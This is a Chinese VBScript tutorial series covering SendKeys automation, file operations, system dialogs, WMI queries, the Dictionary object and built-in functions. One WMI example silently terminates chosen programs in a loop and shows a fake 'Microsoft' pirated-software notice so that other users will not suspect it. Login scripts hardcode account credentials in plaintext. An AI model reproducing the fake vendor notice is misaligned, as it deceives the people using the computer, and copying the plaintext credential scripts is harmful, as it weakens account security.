          如要發(fā)送的組合按鍵是同時(shí)按下Ctrl+E,需要用"WshShell.SendKeys "^e""表示,如果要發(fā)送的組合按鍵是按住Ctrl鍵的同時(shí)按下E與C兩個(gè)鍵,這時(shí)應(yīng)使用小括號(hào)把字母鍵括起來(lái),書(shū)寫(xiě)格式為"WshShell.SendKeys "^(ec)"",這里要注意它與"WshShell.SendKeys "^ec""的區(qū)別,后者表示組合按鍵是同時(shí)按住Ctrl和E鍵,然后松開(kāi)Ctrl鍵,單獨(dú)按下"C"字母鍵。

          由于"+"、"^"這些字符用來(lái)表示特殊的控制按鍵了,如何表示這些按鍵呢?只要用大括號(hào)括住這些字符即可。例如,要發(fā)送加號(hào)"+",可使用"WshShell.SendKeys "{+}""。另外對(duì)于一些不會(huì)生成字符的控制功能按鍵,也同樣需要使用大括號(hào)括起來(lái)按鍵的名稱,例如要發(fā)送回車(chē)鍵,需要用"WshShell.SendKeys "{ENTER}""表示,發(fā)送向下的方向鍵用

          "WshShell.SendKeys "{DOWN}""表示。

          如果需要發(fā)送多個(gè)重復(fù)的單字母按鍵,不必重復(fù)輸入該字母,SendKeys允許使用簡(jiǎn)化格式進(jìn)行描述,使用格式為"{按鍵 數(shù)字}"。例如要發(fā)送10個(gè)字母"x",則輸入"WshShell.SendKeys "{x 10}""即可。

          例一:WshShell.SendKeys "^{ESC}u"

          代碼的含義為:按下Ctrl+Esc組合鍵(相當(dāng)于按Win鍵)打開(kāi)"開(kāi)始"菜單,接著按U鍵打開(kāi)"關(guān)機(jī)"菜單。

          例二:讓VBS腳本自動(dòng)在記事本中輸入一行文字"hello, welcome to cfan"。

          Dim WshShellSet WshShell=WScript.CreateObject("WScript.Shell")WshShell.Run "notepad"WScript.Sleep 2000 //本行的含義為是腳本暫停2秒,給notepad一個(gè)打開(kāi)的時(shí)間,有時(shí)時(shí)間太短可能導(dǎo)致后面的字符無(wú)法進(jìn)入編輯區(qū)WshShell.AppActivate "無(wú)標(biāo)題 - 記事本"//AppActivate為尋找可執(zhí)行程序的標(biāo)題框,"無(wú)標(biāo)題-記事本"內(nèi)容你的自己打開(kāi)看一下WshShell.SendKeys "hello, welcome to cfan"作業(yè)1:讓腳本自動(dòng)輸入下面兩段小短句This is the most wonderful day of my lifebecause I'm here with you now

          作業(yè)2:讓腳本在輸入短句后自動(dòng)關(guān)閉記事本,并保存文件名為"test",注意關(guān)閉記事本可以直接使用組合按鍵Alt+F4來(lái)實(shí)現(xiàn)。

          Vbs腳本編程簡(jiǎn)明教程之九——2

          妙用SendKeys簡(jiǎn)化重復(fù)操作2

          例三:制作能自動(dòng)定時(shí)存盤(pán)的記事本

          我們最常用的記事本沒(méi)有Word、WPS那樣的自動(dòng)定時(shí)存盤(pán)功能,其實(shí)利用VBS腳本再加上SendKeys命令,就能彌補(bǔ)這個(gè)遺憾。打開(kāi)記事本,輸入以下內(nèi)容(為容易描述和分析,把代碼分為四個(gè)部分):

          '第一部分:定義變量和對(duì)象Dim WshShell, AutoSaveTime, TXTFileNameAutoSaveTime=300000Set WshShell=WScript.CreateObject("WScript.Shell")TXTFileName=InputBox("請(qǐng)輸入你要?jiǎng)?chuàng)建的文件名(不能用中文和純數(shù)字):")'第二部分:打開(kāi)并激活記事本W(wǎng)shShell.Run "notepad"WScript.Sleep 200WshShell.AppActivate "無(wú)標(biāo)題 - 記事本"'第三部分:用輸入的文件名存盤(pán)WshShell.SendKeys "^s"WScript.Sleep 300WshShell.SendKeys TXTFileNameWScript.Sleep 300WshShell.SendKeys "%s"WScript.Sleep AutoSaveTime'第四部分:自動(dòng)定時(shí)存盤(pán)While WshShell.AppActivate (TXTFileName)=TrueWshShell.SendKeys "^s"WScript.Sleep AutoSaveTimeWendWScript.Quit

          將其保存為記事本.vbs,以后要使用記事本時(shí),都通過(guò)雙擊這個(gè)腳本文件來(lái)打開(kāi)。

          程序說(shuō)明:這個(gè)腳本的基本思路是定時(shí)向記事本發(fā)送Ctrl+S這個(gè)存盤(pán)組合鍵。

          第一部分:定義了腳本中需要用到的變量和對(duì)象。"AutoSaveTime"變量用來(lái)設(shè)置自動(dòng)存盤(pán)間隔,單位為毫秒,這里設(shè)置為5分鐘。"TXTFileName"變量通過(guò)輸入框取得你要?jiǎng)?chuàng)建的文本文件名稱。

          第二部分:運(yùn)行記事本,對(duì)于Windows本身提供的程序,比如計(jì)算器等,可直接在"WshShell.Run"后輸入程序名稱,如"calc",對(duì)于非系統(tǒng)程序,則可輸入完全路徑,但要注意使用8.3格式輸入,比如""D:\Progra~1\Tencent\QQ.exe""。

          第三部分:這里用SendKeys命令執(zhí)行了這樣的操作流程(請(qǐng)注意每個(gè)操作之間延時(shí)命令的使用):在記事本中按Ctrl+S組合鍵→彈出保存文件的窗口→輸入文件名→按Alt+S組合鍵進(jìn)行保存(默認(rèn)保存在"我的文檔"目錄)。

          第四部分:定時(shí)存盤(pán)的關(guān)鍵,通過(guò)"While……Wend"這個(gè)當(dāng)條件為"真"時(shí)循環(huán)命令,實(shí)現(xiàn)自動(dòng)存盤(pán)代碼"WshShell.SendKeys "^s""和定時(shí)代碼"WScript.Sleep AutoSaveTime"的重復(fù)執(zhí)行。因?yàn)椴荒茏屵@個(gè)定時(shí)存盤(pán)循環(huán)一直執(zhí)行,退出記事本后,必須自動(dòng)退出腳本并結(jié)束循環(huán),所以設(shè)計(jì)了一個(gè)循環(huán)判斷條件"WshShell.AppActivate TXTFileName=True",當(dāng)記事本運(yùn)行中時(shí),可以激活記事本窗口,這個(gè)條件運(yùn)行結(jié)果為"True",定時(shí)存盤(pán)循環(huán)一直執(zhí)行,退出記事本后,腳本無(wú)法激活記事本窗口,就會(huì)跳出循環(huán),執(zhí)行"Wend"后面的"WScript.Quit"退出腳本。

          例四:快速登陸QQ軟件。假設(shè)QQ號(hào)碼是:10001,密碼是:123456,隱身登陸:

          set ws=wscript.createobject("wscript.shell") 
           ws.run "C:\Progra~1\Tencent\QQ\QQ.exe",0
           wscript.Sleep 2000
           ws.AppActivate "QQ用戶登錄" 
           ws.SendKeys "7015247"
           wscript.Sleep 200
           ws.SendKeys "{TAB}"
           ws.SendKeys "*********"
           wscript.Sleep 200
          ws.SendKeys "{ENTER}"
          
          

          例五:關(guān)機(jī)菜單立刻顯身

          打開(kāi)記事本,輸入以下命令,并將其保存為1.vbs:

          set WshShell = CreateObject("WScript.Shell")WshShell.SendKeys "^{ESC}u"

          雙擊運(yùn)行它,你會(huì)發(fā)現(xiàn)關(guān)機(jī)菜單立刻出現(xiàn)了。

          將"WshShell.SendKeys "^{ESC}u""改為"WshShell.SendKeys "^+{ESC}"",運(yùn)行一下看看是否打開(kāi)了任務(wù)管理器

          Vbs腳本編程簡(jiǎn)明教程之九——3

          妙用SendKeys自動(dòng)上網(wǎng)并登陸博客3

          將下面的腳本復(fù)制到一個(gè)文本文件中,并將其文件名命名為:自動(dòng)登陸.vbs,然后將撥號(hào)軟件及本腳本一起復(fù)制到程序——啟動(dòng)項(xiàng)中,就可以實(shí)現(xiàn)自動(dòng)撥號(hào)上網(wǎng),并登陸到博客上。

          代碼如下:

          Set wshshell=CreateObject("wscript.shell")
          wshshell.AppActivate "連接 MAE-301U 撥號(hào)連接"
          wscript.Sleep 20000
          wshshell.SendKeys "{enter}"
          wshshell.Run "iexplore"
          WScript.Sleep 2000
          wshshell.AppActivate "hao123網(wǎng)址之家---實(shí)用網(wǎng)址,搜索大全,盡在http://www.hao123.com/ - Microsoft Internet Explorer" '引號(hào)中的內(nèi)容修改為你的瀏覽器打開(kāi)后標(biāo)題欄中的內(nèi)容
          wshshell.SendKeys "%d"
          wshshell.SendKeys "http://passport.baidu.com/?login"
          wshshell.SendKeys "{enter}"
          WScript.Sleep 2000
          wshshell.SendKeys "此處修改為博客帳號(hào)"
          wshshell.SendKeys "{tab}"
          wshshell.SendKeys "此處修改為博客密碼"
          wshshell.SendKeys "{enter}"
          'wshshell.SendKeys "%d"
          
          

          Vbs腳本常用的編輯器當(dāng)然是notapad,不過(guò)這個(gè)編輯器的功能當(dāng)然實(shí)在是太弱了一點(diǎn),其實(shí)有很多的專用的腳本編輯器可以大大方便vbs腳本的編寫(xiě)。我常用的有兩種:

          1、VBSEDit漢化版

          2、primalscript漢化版,可以對(duì)30多種腳本進(jìn)行編輯

          Vbs腳本編程簡(jiǎn)明教程之十一

          FSO中文件的基本操作

          一、文件屬性:

          在windows中,文件的屬性一般用數(shù)字來(lái)表示:

          0代表normal,即普通文件未設(shè)置任何屬性。 1代表只讀文件。

          2代表隱藏文件。 4代表系統(tǒng)文件。 16代表文件夾或目錄。

          32代表存檔文件。 1024代表鏈接或快捷方式。例如:

          set fs=wscript.createobject("scripting.filesystemobject") set f=fs.getfile("d:\index.txt") msgbox f.Attributes ‘a(chǎn)ttributes函數(shù)的作用是顯示文件屬性

          需要說(shuō)明的是:msgbox顯示的結(jié)果往往不是上面說(shuō)明的數(shù)字,而是有關(guān)屬性代表數(shù)字的和

          二、創(chuàng)建文件:object.createtextfile方法,注意創(chuàng)建前一般需要檢查文件是否存在。

          例如:

          set fso=wscript.createobject("scripting.filesystemobject") 
          if fso.fileexists("c:\kk.txt") then
          msgbox "文件已存在"
          else
          set f=fso.createtextfile("c:\kk.txt") 
          end if
          

          如需要強(qiáng)制覆蓋已存在的文件,則在文件名后加true參數(shù)。

          三、復(fù)制、移動(dòng)、刪除文件:使用copyfile方法、movefile方法、deletefile方法。例如:

          set fso=wscript.createobject("scripting.filesystemobject") 
          fso.copyfile "c:\kk.txt","d:\1\kk.txt",true //如上文說(shuō)述,true代表強(qiáng)制覆蓋
          fso.movefile "c:\kk.txt", "d:\" //移動(dòng)文件
          fso.deletefile "c:\kk.txt" //刪除文件
          
          

          四、文件的讀寫(xiě):

          1、打開(kāi)文件:使用opentextfile方法如:set ts=fso.opentextfile("c:\kk.txt",1,true) 說(shuō)明:第二個(gè)參數(shù)為訪問(wèn)模式1為只讀、2寫(xiě)入、8為追加第三個(gè)參數(shù)指定如文件不存在則創(chuàng)建。2、讀取文件:read(x)讀x個(gè)字符;readline讀一行;readall全部讀取如:set ffile=fso.opentextfile("c:\kk.txt",1,true)value=ffile.read(20)line=ffile.readlinecontents=ffile.readall

          3、常見(jiàn)的指針變量:

          atendofstream屬性:當(dāng)處于文件結(jié)尾的時(shí)候這個(gè)屬性返回true。一般用循環(huán)檢測(cè)是否到達(dá)文件末尾。例如:

          do while ffile.atendofstream<>true

          ffile.read(10)

          loop

          atendofline屬性:如果已經(jīng)到了行末尾,這個(gè)屬性返回true。

          Column屬性(當(dāng)前字符位置的列號(hào))和line屬性(文件當(dāng)前行號(hào)):在打開(kāi)一個(gè)文件后,行和列指針都被設(shè)置為1。

          4、在文件中跳行:skip(x) 跳過(guò)x個(gè)字符;skipline 跳過(guò)一行

          5、在文件中寫(xiě)入字符:可以用2-寫(xiě)入和8-追加的方式來(lái)寫(xiě)入

          其方法有:write(x)寫(xiě)入x字符串;writeline(x)寫(xiě)入x代表的一行

          writeblanklines(n) 寫(xiě)入n個(gè)空行

          注意:最后一定要使用close方法關(guān)閉文件,讀文件后一定要關(guān)閉,才能以寫(xiě)的方式打開(kāi)。

          Vbs腳本編程簡(jiǎn)明教程之十二

          使用系統(tǒng)對(duì)話框

          在VBS腳本設(shè)計(jì)中,如果能使用windows提供的系統(tǒng)對(duì)話框,可以簡(jiǎn)化腳本的使用難度,使腳本人性化許多,很少有人使用,但VBS并非不能實(shí)現(xiàn)這樣的功能,方法當(dāng)然還是利用COM對(duì)象。

          1、SAFRCFileDlg.FileSave對(duì)象:屬性有:FileName — 指定默認(rèn)文件名;FileType — 指定文件擴(kuò)展名;OpenFileSaveDlg — 顯示文件保存框體方法。2、SAFRCFileDlg.FileOpen 對(duì)象:FileName — 默認(rèn)文件名屬性;OpenFileOpenDlg — 顯示打開(kāi)文件框體方法。3、UserAccounts.CommonDialog對(duì)象:Filter — 擴(kuò)展名屬性("vbs File|*.vbs|All Files|*.*");FilterIndex — 指定InitialDir — 指定默認(rèn)的文件夾FileName — 指定的文件名Flags — 對(duì)話框的類型Showopen方法:

          很簡(jiǎn)單,ok,讓我們來(lái)舉兩個(gè)簡(jiǎn)單的例子:

          例一:保存文件

          Set objDialog = CreateObject("SAFRCFileDlg.FileSave")
          Set objFSO = CreateObject("Scripting.FileSystemObject")
          objDialog.FileName = "test"
          objDialog.FileType = ".txt"
          intReturn = objDialog.OpenFileSaveDlg
          If intReturn Then
          objFSO.CreateTextFile(objDialog.FileName & objdialog.filetype)
          Else
          Wscript.Quit
          End If
          
          

          注意:1、SAFRCFileDlg.FileSave對(duì)象僅僅是提供了一個(gè)方便用戶選擇的界面,本身并沒(méi)有保存文件的功能,保存文件還需要使用FSO對(duì)象來(lái)完成。2、用FileType屬性來(lái)指定默認(rèn)的文件類型。3、在調(diào)用OpenFileSaveDlg方法時(shí),最好把返回值保存到一變量中,用它可以判斷用戶按下的是確定還是取消。

          例二:.打開(kāi)文件

          set objFile = CreateObject("SAFRCFileDlg.FileOpen")
          intRet = objFile.OpenFileOpenDlg
          if intret then
          msgbox "文件打開(kāi)成功!文件名為:" & objFile.filename
          else
          wscript.quit
          end if
          
          

          例三:比較復(fù)雜的打開(kāi)文件對(duì)話框

          Set objDialog = CreateObject("UserAccounts.CommonDialog")
          objDialog.Filter = "vbs File|*.vbs"
          objDialog.InitialDir = "c:\"
          tfile=objDialog.ShowOpen
          if tfile then 
          strLoadFile = objDialog.FileName
          msgbox strLoadFile
          else
          wscript.quit
          end if
          
          

          說(shuō)明:在腳本中加入 objDialog.Flags = &H020 看看會(huì)出現(xiàn)什么結(jié)果

          Vbs腳本編程簡(jiǎn)明教程之十三——1

          WMI基礎(chǔ)之一

          WMI即Windows 管理規(guī)范,是用戶管理本地和遠(yuǎn)程計(jì)算機(jī)的一種模型。通過(guò)它可以訪問(wèn)、配置、管理和監(jiān)視幾乎所有的 Windows 資源。WMI的語(yǔ)法十分簡(jiǎn)單,基本上常見(jiàn)的命名空間、對(duì)象等用幾乎一模一樣。它對(duì)應(yīng)的是Windows里的WMI服務(wù)(winmgmt)。

          一、WMI的起源

          幾年前,幾家資深的計(jì)算機(jī)公司由于系統(tǒng)管理領(lǐng)域缺少標(biāo)準(zhǔn),委托DMTF啟動(dòng)了CIM(通用信息模型)項(xiàng)目,理想的CIM是一種不受限制于任何特定實(shí)現(xiàn)環(huán)境的管理工具。WMI是CIM的微軟實(shí)現(xiàn),它有很多類是從CIM中派生出來(lái)的。

          二、WMI的命名空間

          那么命名空間是做什么作用的呢?我簡(jiǎn)單這樣說(shuō),在同一段代碼中,如果有兩個(gè)變量或函數(shù)的名字完全相同,就會(huì)出現(xiàn)沖突。命名空間就是為解決變量、函數(shù)的命名沖突而服務(wù)的。解決的辦法就是將你的變量定義在一個(gè)不同名字的命名空間中。就好像財(cái)政局有個(gè)張三,公安局也有個(gè)張三,但我們清楚,就是因?yàn)樗麄兎謱俨煌膯挝弧S行┑胤娇赡懿惶珳?zhǔn)確,但大致意思就是這樣了。

          WMI的命名空間創(chuàng)建了一個(gè)層次結(jié)構(gòu),有點(diǎn)類似于我們的目錄文件結(jié)構(gòu)。

          1、 root-作為所有其他名字的占位符;2、 root\default-與注冊(cè)表操作有關(guān)的類;3、 root\security-與系統(tǒng)安全有關(guān)的類;4、 root\cimv2-從CIM派生的類,代表我們最常用的工作環(huán)境。

          三、WMI的對(duì)象路徑

          WMI的對(duì)象路徑用來(lái)在CIM庫(kù)中定位類和它的事例,對(duì)象路徑用兩個(gè)反斜杠\開(kāi)頭,第一個(gè)元素是目標(biāo)計(jì)算機(jī)的名字,第二個(gè)元素是相應(yīng)的WMI命名空間,第三個(gè)元素是相應(yīng)的類名,并用 : 將它與命名空間分隔開(kāi)來(lái)。例如:\..\root\cimv2:win32_service

          其中那個(gè) . 代表是本地系統(tǒng)。

          四、WMI的查詢語(yǔ)言——WQL僅僅是ANSI SQL的一個(gè)子集,只能用于數(shù)據(jù)的提取。

          數(shù)據(jù)、事件查詢的基本語(yǔ)法為:

          Select pro1 , pro2 , pro3 from myclass(myclassevent)

          例如:Select name , path from Win32_share 說(shuō)明:列出所有共享的名稱和路徑

          也可以使用通配符 * ,例如:Select * from Win32_share

          關(guān)鍵字Where 用于限定查詢的范圍。

          例如:Select * from Win32_share where name="Admin"

          五、WMI腳本中使用的三個(gè)步驟

          步驟 1:連接到 WMI 服務(wù)

          在任何 WMI 腳本中,第一個(gè)步驟都是建立一個(gè)到目標(biāo)計(jì)算機(jī)上的 Windows 管理服務(wù)的連接。方法是調(diào)用 VBScript 的 Getobject 函數(shù)并將 WMI 腳本庫(kù)的名字對(duì)象的名稱(即"winmgmts:",后跟目標(biāo)計(jì)算機(jī)的名稱)傳遞到 Getobject,并返回一個(gè)對(duì)象的引用,此時(shí),您就可以調(diào)用其提供的方法如:InstancesOf,正如方法名所示,InstancesOf 返回由資源的類名標(biāo)識(shí)的托管資源的所有實(shí)例。

          步驟 2:檢索 WMI 托管資源的實(shí)例

          一般采用WQL來(lái)實(shí)現(xiàn)。

          步驟 3:顯示 WMI 托管資源的屬性

          最后一個(gè)步驟是枚舉 檢索得到集合的內(nèi)容。一般采用

          For each enum in myclass

          ……

          Next 結(jié)構(gòu)來(lái)實(shí)現(xiàn)。

          六、WMI 測(cè)試器 (wbemtest.exe)驗(yàn)證腳本執(zhí)行結(jié)果

          現(xiàn)在,您對(duì)可用于瀏覽和查看 CIM 的工具已經(jīng)有了一些認(rèn)識(shí),讓我們使用 WMI 測(cè)試器 (wbemtest.exe) 來(lái)檢查 Win32_Process 類定義,以便從在您的本地計(jì)算機(jī)上運(yùn)行的進(jìn)程檢索一些屬性。

          1.打開(kāi)一個(gè)命令提示,鍵入 C:\>wbemtest.exe,按下 Enter 來(lái)開(kāi)始 WMI 測(cè)試器工具。請(qǐng)注意,大部分按鈕在主 WMI 測(cè)試器窗口上是被禁用的,這說(shuō)明此時(shí)您沒(méi)有連接到 WMI。

          2.單擊 "連接"按鈕 連接到本地或遠(yuǎn)程計(jì)算機(jī)上的 WMI 服務(wù)。顯示"連接"對(duì)話框,它提供一個(gè)標(biāo)記為 名稱空間 的文本輸入?yún)^(qū)域,該區(qū)域默認(rèn)值為 root\default。將 名稱空間 區(qū)域的值更改為 root\cimv2,單擊"連接"對(duì)話框的 連接 按鈕返回到主 WMI 測(cè)試器窗口。

          3.主窗口中左上角的命名空間標(biāo)識(shí)符應(yīng)該顯示為 root\cimv2。請(qǐng)注意,所有的按鈕現(xiàn)在都已啟用,這說(shuō)明在當(dāng)前憑據(jù)環(huán)境下,您已經(jīng)成功連接到本地主機(jī)上的 WMI。單擊 枚舉類別 打開(kāi)"超類信息"對(duì)話框。

          4.在"超類信息"對(duì)話框中,不要填寫(xiě) 輸入超類別名稱 區(qū)域,單擊 遞歸 選項(xiàng),單擊 確定 以枚舉 root\cimv2 名稱空間中定義的所有 CIM 類。

          請(qǐng)注意,列于"查詢結(jié)果"對(duì)話框頂部的類是以兩個(gè)下劃線為開(kāi)頭的。這些是系統(tǒng)類。系統(tǒng)類是預(yù)定義的 CIM 類,支持內(nèi)部 WMI 配置與操作,例如提供程序注冊(cè)、命名空間安全性及事件通知等。現(xiàn)在,忽略系統(tǒng)類,向下滾動(dòng)"查詢結(jié)果"對(duì)話框直至看到以 CIM_ 開(kāi)頭的類。名稱以 CIM_ 開(kāi)頭的類是由 DMTF 維護(hù)的核心與公共基類。繼續(xù)向下滾動(dòng)直至到達(dá)以 Win32_ 開(kāi)頭的類。 名稱以 Win32_ 開(kāi)頭的類是 Microsoft 擴(kuò)展類,表示 Windows 特定的托管資源。如果這是您第一次檢查 root\cimv2 命名空間,您可能希望熟悉root\cimv2 命名空間中的類的完整集合,尤其是有 Win32_ 前綴的類。

          5.向下滾動(dòng)"查詢結(jié)果"對(duì)話框直至到達(dá) Win32_Process 類,雙擊該類名打開(kāi) Win32_Process 對(duì)話框的對(duì)象編輯器。

          6."對(duì)象編輯器"對(duì)話框顯示被選定類的定義和實(shí)現(xiàn)的詳細(xì)信息(屬性和方法)。選擇 Hide System Properties 復(fù)選框隱藏系統(tǒng)屬性。剩余的 Win32_Process 屬性表示您可以從在本地或遠(yuǎn)程計(jì)算機(jī)上運(yùn)行的進(jìn)程檢索的信息。

          運(yùn)行如下代碼:

          strComputer = "." 
          Set wbemServices = Getobject("winmgmts:\\" & strComputer)
          Set wbemObjectSet = wbemServices.InstancesOf("Win32_Process")
          For Each wbemObject In wbemObjectSet
           WScript.Echo "Name:  " & wbemObject.Name & vbCrLf & _
             " Handle: " & wbemObject.Handle & vbCrLf & _
             " Process ID: " & wbemObject.ProcessID
          Next
          
          

          7.在運(yùn)行腳本之后,您可以用 WIMI 測(cè)試器驗(yàn)證腳本的結(jié)果。在 Win32_Process 對(duì)話框的對(duì)象編輯器中,單擊 Instances。產(chǎn)生的查詢結(jié)果對(duì)話框列出在計(jì)算機(jī)上運(yùn)行的進(jìn)程的實(shí)例。雙擊一個(gè)指定的進(jìn)程實(shí)例,查看該實(shí)例的詳細(xì)信息。

          Vbs腳本編程簡(jiǎn)明教程之十三——2

          WMI基礎(chǔ)之二—阻止客人運(yùn)行你不想運(yùn)行的程序

          很多人都有這樣的經(jīng)驗(yàn),剛剛裝好的系統(tǒng),讓人運(yùn)行了一些你不想他運(yùn)行的程序,比如說(shuō)QQ,又是聊天,又是下載表情,不過(guò)一會(huì),流氓插件、病毒、木馬已經(jīng)盤(pán)踞了你的計(jì)算機(jī),常常是忍痛將這個(gè)程序卸載,可是不知情的人很自覺(jué)的下載安裝,使整個(gè)系統(tǒng)無(wú)法正常運(yùn)行。

          其實(shí)用vbs和wmi結(jié)合起來(lái),使你的計(jì)算機(jī)上有相應(yīng)的程序安裝,別人又無(wú)法運(yùn)行起來(lái)太容易了,現(xiàn)在給出代碼:

          On Error Resume Next '忽略所有的錯(cuò)誤
          Dim bag,pipe,honker,good 
          Do 
          good="." '定義為本地計(jì)算機(jī)
          set bag=getobject("winmgmts:\\"& good &"\root\cimv2") 'l連接到cimv2命名空間
          set pipe=bag.execquery("select * from win32_process where name='qq.exe' or name='qqgame.exe' or name='winmine.exe'") '看,這是我的計(jì)算機(jī)上不允許運(yùn)行的程序,qq、qqgame、winmine(掃雷)如果你還有其他的程序不允許運(yùn)行,很簡(jiǎn)單,在其中添加 or name='你不允許運(yùn)行的程序名'
          for each i in pipe
          i.terminate() 
          msgbox "發(fā)現(xiàn)盜版系統(tǒng),現(xiàn)已進(jìn)行功能限制!" & vbcrlf & "請(qǐng)使用正版軟件!",,"微軟提示" '此行其實(shí)可有可無(wú),有這行只是為了免去懷疑
          next 
          wscript.sleep 60000 '每1分鐘檢測(cè)一次
          loop
          
          

          那么如果我自己想運(yùn)行這些程序該怎么辦呢,很簡(jiǎn)單,Ctrl+Alt+Del三個(gè)鍵齊按,打開(kāi)windows任務(wù)管理器,在進(jìn)程中結(jié)束Wscript.exe和wmiprvse.exe進(jìn)程的運(yùn)行就可以了

          Vbs腳本編程簡(jiǎn)明教程之十四

          使用dictionary對(duì)象

          VBS中存在一個(gè)特殊的對(duì)象-dictionnary,是一個(gè)集合對(duì)象。一般情況霞,我把這個(gè)特殊的集合想象為數(shù)組,可以使用其中內(nèi)建的函數(shù)完成存儲(chǔ)和操縱數(shù)據(jù)等基本任務(wù),無(wú)須擔(dān)心數(shù)據(jù)是在哪些行列,而是使用唯一的鍵進(jìn)行訪問(wèn)或者是一個(gè)只能運(yùn)行在內(nèi)存中的數(shù)據(jù)庫(kù),并只有兩個(gè)字段分別是:key和item,在使用中,字段key是索引字段。

          set sdict=CreateObject("Scripting.Dictionary")
          sdict.add "a","apple"
          sdict.add "b","banana"
          sdict.add "c","copy"
          for each key in sdict.keys
          msgbox "鍵名" & key & "是" & " = " & sdict (key)
          next
          sdict.removeall
          
          

          這個(gè)腳本很簡(jiǎn)單,就是定義了一個(gè) dictionary 對(duì)象的實(shí)例sdict,并加入了三條數(shù)據(jù),然后對(duì)每一條數(shù)據(jù)進(jìn)行了枚舉,最后,將對(duì)象的實(shí)例清空。

          Dictionary 對(duì)象的成員概要

          屬性和說(shuō)明

          CompareMode 設(shè)定或返回鍵的字符串比較模式Count 只讀。返回 Dictionary 里的鍵/條目對(duì)的數(shù)量Item(key) 設(shè)定或返回指定的鍵的條目值Key(key) 設(shè)定鍵值

          方法和說(shuō)明

          Add(key,item) 增加鍵/條目對(duì)到 DictionaryExists(key) 如果指定的鍵存在,返回 True,否則返回 FalseItems() 返回一個(gè)包含 Dictionary 對(duì)象中所有條目的數(shù)組Keys() 返回一個(gè)包含 Dictionary 對(duì)象中所有鍵的數(shù)組Remove(key) 刪除一個(gè)指定的鍵/條目對(duì)RemoveAll() 刪除全部鍵/條目對(duì)Vbs腳本編程簡(jiǎn)明教程之十五——1VBS內(nèi)置函數(shù)之一Abs 函數(shù):返回?cái)?shù)的絕對(duì)值。 Array 函數(shù):返回含有數(shù)組的變體。 Asc 函數(shù):返回字符串首字母的 ANSI 字符碼。 Atn 函數(shù):返回?cái)?shù)值的反正切。 CBool 函數(shù):返回已被轉(zhuǎn)換為 Boolean 子類型的變體的表達(dá)式。 CByte 函數(shù):返回已被轉(zhuǎn)換為字節(jié)子類型的變體的表達(dá)式。 CCur 函數(shù):返回已被轉(zhuǎn)換為貨幣子類型的變體的表達(dá)式。 CDate 函數(shù):返回已被轉(zhuǎn)換為日期子類型的變體的表達(dá)式。 CDbl 函數(shù):返回已被轉(zhuǎn)換為雙精度子類型的變體的表達(dá)式。 Chr 函數(shù):返回與指定的 ANSI 字符碼相關(guān)的字符。 CInt 函數(shù):返回已被轉(zhuǎn)換為整形子類型的變體的表達(dá)式。 CLng 函數(shù);返回已被轉(zhuǎn)換為L(zhǎng)ong子類型的變體的表達(dá)式。 Cos 函數(shù):返回角度的余弦。 CreateObject 函數(shù):創(chuàng)建并返回對(duì)"自動(dòng)"對(duì)象的引用。 CSng 函數(shù):返回已被轉(zhuǎn)換為單精度子類型的變體的表達(dá)式。 CStr 函數(shù):返回已被轉(zhuǎn)換為字符串子類型的變體的表達(dá)式。 Date 函數(shù):返回當(dāng)前系統(tǒng)日期。 DateAdd 函數(shù):返回的日期已經(jīng)加上了指定的時(shí)間間隔。 DateDiff 函數(shù):返回兩個(gè)日期之間的間隔。 DatePart 函數(shù):返回給定日期的指定部分。 DateSerial 函數(shù):返回指定年月日的日期子類型的變體。 Datevalue 函數(shù):返回日期子類型的變體。 Day 函數(shù):返回日期,取值范圍為 1 至 31。 Eval 函數(shù):計(jì)算表達(dá)式并返回結(jié)果。 Exp 函數(shù):返回 e (自然對(duì)數(shù)的底) 的多少次方。 Filter 函數(shù):根據(jù)指定的篩選條件,返回含有字符串?dāng)?shù)組子集的、下限為 0 的數(shù)組。 Fix 函數(shù):返回?cái)?shù)的整數(shù)部分。 FormatCurrency 函數(shù):返回的表達(dá)式為貨幣值格式,其貨幣符號(hào)采用系統(tǒng)控制面板中定義的。 FormatDateTime 函數(shù):返回的表達(dá)式為日期和時(shí)間格式。 FormatNumber 函數(shù):返回的表達(dá)式為數(shù)字格式。 FormatPercent 函數(shù):返回的表達(dá)式為百分?jǐn)?shù)(乘以 100)格式,后面有 % 符號(hào)。 GetObject 函數(shù):返回從文件對(duì)"自動(dòng)"對(duì)象的引用。 GetRef 函數(shù):返回對(duì)能夠綁定到一事件的過(guò)程的引用。 Hex 函數(shù):返回一字符串,代表一個(gè)數(shù)的十六進(jìn)制值。 Hour 函數(shù):返回表示鐘點(diǎn)的數(shù)字,取值范圍為 0 至 23。 InputBox 函數(shù):在對(duì)話框中顯式一提示,等待用戶輸入文本或單擊按鈕,并返回文本框的內(nèi)容。 InStr 函數(shù):返回一個(gè)字符串在另一個(gè)字符串中首次出現(xiàn)的位置。 InStrRev 函數(shù);返回一個(gè)字符串在另一個(gè)字符串中出現(xiàn)的位置,但是從字符串的尾部算起。VBS內(nèi)置函數(shù)之二Int 函數(shù):返回?cái)?shù)的整數(shù)部分。 IsArray 函數(shù):返回 Boolean 值,反映變量是否為數(shù)組。 IsDate 函數(shù):返回 Boolean 值,反映表達(dá)式能否轉(zhuǎn)換為日期。 IsEmpty 函數(shù):返回 Boolean 值,反映變量是否已被初始化。 IsNull 函數(shù):返回 Boolean 值,反映表達(dá)式是否含有無(wú)效數(shù)據(jù)(Null)。 IsNumeric 函數(shù):返回 Boolean 值,反映表達(dá)式能否轉(zhuǎn)換為數(shù)字。 IsObject 函數(shù):返回 Boolean 值,反映表達(dá)式是否引用了有效的"自動(dòng)"對(duì)象。 Join 函數(shù):返回通過(guò)連接許多含有數(shù)組的子串而創(chuàng)建的字符串。 LBound 函數(shù);返回指定維數(shù)數(shù)組的最小有效下標(biāo)。 LCase 函數(shù):返回的字符串已被轉(zhuǎn)換為小寫(xiě)字母。 Left 函數(shù):返回字符串最左邊的指定數(shù)量的字符。 Len 函數(shù):返回字符串中的字符數(shù)或存儲(chǔ)變量所需的字節(jié)數(shù)。 LoadPicture 函數(shù):返回圖片對(duì)象。只用于 32 位平臺(tái)。 Log 函數(shù):返回?cái)?shù)的自然對(duì)數(shù)。 LTrim 函數(shù);返回去掉前導(dǎo)空格的字符串。 Mid 函數(shù):從字符串中返回指定數(shù)量的字符。 Minute 函數(shù):返回分鐘數(shù),取值范圍為 0 至 59。 Month 函數(shù):返回表示月份的數(shù),取值范圍為 1 至 12。 MonthName 函數(shù):返回表示月份的字符串。 MsgBox 函數(shù):在對(duì)話框中顯示消息,等待用戶單擊按鈕,并返回表示用戶所擊按鈕的數(shù)值。 Now 函數(shù):返回計(jì)算機(jī)的當(dāng)前系統(tǒng)日期和時(shí)間。 Oct 